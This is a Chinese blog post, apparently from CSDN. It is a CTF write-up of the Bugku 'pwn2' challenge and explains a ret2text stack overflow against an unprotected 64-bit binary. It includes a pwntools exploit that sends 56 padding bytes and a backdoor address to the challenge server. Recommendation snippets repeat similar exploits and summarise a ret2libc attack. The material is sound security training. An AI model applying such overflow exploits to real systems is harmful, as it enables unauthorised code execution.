bugku_pwn2 | by AriSan

最新推荐文章于 2021-06-07 23:22:12 发布
最新推荐文章于 2021-06-07 23:22:12 发布
阅读量250 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/arisan_xd/article/details/105893660
版权

在这里插入图片描述
看源码，非常明显的栈溢出
在这里插入图片描述

直接有后门函数
在这里插入图片描述
checksec后没有任何保护
是典型的ret2text

在这里插入图片描述

使用 gdb调试，在 read 函数处下断点，运行，因为是64位的程序，得到栈空间为 RBP-RSI+8=0x70-0x40+8=56

使用垃圾数据填满栈空间后，覆盖返回地址为后门函数地址，直接执行后门函数

在这里插入图片描述
成功
exp：

from pwn import *
p = remote('114.116.54.89','10003')
payload='a'*56+p64(0x0000000000400751)
p.recvline()
p.sendline(payload)
p.interactive()
AriSan_XD
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
bugku pwn题libc
11-06
bugku pwn题libc，pwn3做题时可在里面查找system、binsh等
Bugku pwn2
、moddemod
05-26 424
pwn2 题目 chmod +x pwn2 这里都关闭了，栈上可执行！ 这个程序里面直接留了后门get_shell_ 思路，输入的数据超过0x30栈空间大小，将get_shell_地址覆盖调用main函数的返回地址即可， 即b'm' * (0x30 + 8) + p64(0x400751)，这里加上8是因为push了rbp，即8个字节大小 exp from pwn import * p = remote('114.116.54.89', '10003') payload = b'a' * (0x
bugku-pwn2
ro4lsc的博客
05-31 547
pwn2 首先我对pwn题完全没有了解，真萌新，所以就刷刷最基础的题目吧。 我是使用了pwndocker，第一次用没啥感觉。 docker exec -it mypwn /bin/bash wget https://ctf.bugku.com/files/ad67ac41b68c70c40d90bce4a39796e4/pwn2 checksec pwn2 这个东西我暂时看不懂，只知道这个pwn2是个64位程序 用IDA打开，找到main函数F5 int __cdecl main(int argc,
BugKu - pwn2
Casuall的博客
07-06 3641
这道题来自于bugku旧平台的第二道pwn题，还是比较简单的，一个典型的缓冲区溢出题。 首先查看一下文件类型，file pwn2,可以看到是64位的程序。然后用64位IDA打开，查看程序的逻辑。 可以看到这个程序的逻辑比较简单，有一个read函数，这个函数一个危险函数，可能引发缓冲区溢出漏洞。常见的危险函数还有gets、strcpy、sprintf、scanf等。 然后查看字符串，看看是否有内置...
bugku pwn2
doudoudedi
06-04 1685
这道题是一道简单的栈溢出 直接用IDA查看 很明显的得到flag的函数 直接上exp from pwn import * p=remote('114.116.54.89',10003) p.recvuntil('something?') payload='a'*56+p64(0x400751) p.sendline(payload) p.interactive() ...
CVE-2021-27246_Pwn2Own2020
03-03
Pwn2Own 2020东京版-TPlink漏洞利用 这是在Pwn2Own 2020 Tokyo期间用于开发TPlink Archer路由器的文件。 该漏洞的编号为CVE-2021-27246。 您可以在synacktiv网站上查看博客文章以了解详细信息。
赣网杯2021_pwn2.rar
12-11
赣网杯2021 pwn1 bin ctf
PWN.zip_PWN控制舵机_pwn控制_pwn控制h桥_数字舵机_电机
07-14
pwm波输出，实现数字舵机的控制，完成一些简单的电机控制问题
PWM.rar_ARM7 汇编_PWN_pwm arm7
09-22
ARM7下PWN接口的使用源码，包含C语言及汇编
PWN.rar_PWN
09-24
本代码是在Keil uVision3环境下使用c语言编写的。功能是使用片内pgaPWN输出占空比可变的方波。
BugkuCtf-pwn2-exp
weixin_30340745的博客
08-22 371
#!/usr/bin/env python from pwn import * p = process('./pwn2') payload = 'a' * 56 + p64(0x400751) p.recvuntil('?') p.sendline(payload) print p.recvall() 转载于:https://www.cnblo...
[Bugku CTF——Pwn] pwn2
Y_peak的博客
03-22 272
[Bugku CTF——Pwn] pwn2 题目地址：https://ctf.bugku.com/ 额，好久不写这么简单的题目了 利用栈溢出修改返回地址就好， 如果不会就去看看什么是栈溢出 exploit from pwn import * p = remote('114.67.246.176',11431) get_shell = 0x0000000000400751 payload = 'a' * (0x30 + 8) + p64(get_shell) p.send(payload) p.inter
bugku中pwn2的write up
darui_csdn的博客
09-06 349
bugku中pwn2的write up**最后效果如下：** 作为一个初出茅庐的菜鸟，做几个简单的pwn题练一下，正好学一下基础知识。 首先来看这道题，checksec一下，我们发现，没有打开什么保护。 运行一下，看看需要在哪里插入payload。 注意这里需要先赋予运行权限，笔者作为新手犯了几次错误。 把程序放进IDA中看一下套路流程。 我们在read函数这里可以使程序溢出。也看到ebp...
bugke pwn2
weixin_33858336的博客
06-05 288
根据伪代码可以看到read函数存在溢出 存在一个后面 那就直接覆盖返回地址就完事了 从ida很直观看出s的偏移为0x30 所以到到返回地址的距离就是0x30+0x8 from pwn import *#p = process('./pwn2')p=remote('114.116.54.89','10003')elf = ELF('./pwn2')flag = elf.symb...
bugku-pwn2-wp
weixin_45427676的博客
04-05 329
下载完题后先在VM中checksec查看保护机制 基本没有开什么保护，可以知道文件是64位的，用64位IDA打开，按F5键反汇编一下，看一下main函数 可以发现read()函数存在栈溢出漏洞，缓冲区s的大小为0x30，而read()函数指向缓冲区中读入0x100大小的数据，所以造成栈溢出。 在main函数下面有一个get_shell_()函数，打开看一下 有一个system(“cat fl...
ctf.bugku ctf题目详解——pwn2
yeshen4328的专栏
05-26 1100
ctf.bugku ctf题目详解——pwn2 题目 程序分配了一个栈上的变量s，长度为0x30，并一开始置0. 9行开始从外部读取0x100的数据到s中，由此可见此处存在一个栈溢出。 同时使用ida打开程序之后发现还存在一个get_shell的函数： 于是我们需要想方法利用溢出来调用这个get_shell函数。 x64函数调用规则 解题之前我们先学习下linux x64的函数调用规则。 x64机器在调用某个函数前，比如int func(int a, int b, int c, int d, int e
bugku pwn2学习心得以及wp
欢迎来到神林的博客
08-25 598
拿到题目： file查看一下文件类型，可以看到 x86-64，以及 dynamically linked，所以 64位，动态连接的。 查看一下有没有开什么保护机制： 嘛都没开，直接放到64位IDA里面看一看。 看到敏感名称函数“getshell” 感觉能直接拿flag，方法就是找到一个地方跳转到getshell函数地址，查看一下地址为：0x400715 转手看main函数： 其中有一个re...
Bugku-pwn2新手题总结
xindada559的博客
06-07 203
题目中给了
[WP]BugkuCtf - pwn2
XiaoYan8023的博客
04-27 315
1.首先运行一下该程序 2.我们权限不够于是去修改一下权限（改前，改后） （当然，这步有可能是不需要的） 3.改后我们重新运行一下（123是输入的语句） 4.拖进IDA，查看字符串，此处应该就是得到flag的地方 5.之后我们查看main函数，并没有我们刚才所看见的那句话 6.而在get_shell函数中我...
xdctf2015_pwn200
最新发布
09-03
xdctf2015_pwn200是一道CTF比赛中的题目，是一个二进制漏洞利用题目。从代码中可以看出，它利用了一个栈溢出漏洞来实现攻击。在攻击过程中，首先使用write函数的got地址来泄露出libc中write函数的真实地址，然后通过计算偏移量得到libc的基址，进而计算出system函数和/bin/sh字符串的地址。最后，通过构造ROP链来调用system函数，并将/bin/sh字符串作为参数传入，从而获取shell权限。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [[BUUCTF]PWN——xdctf2015_pwn200](https://blog.csdn.net/mcmuyanga/article/details/109622553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [xdctf2015_pwn200](https://blog.csdn.net/weixin_44309300/article/details/130628776)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值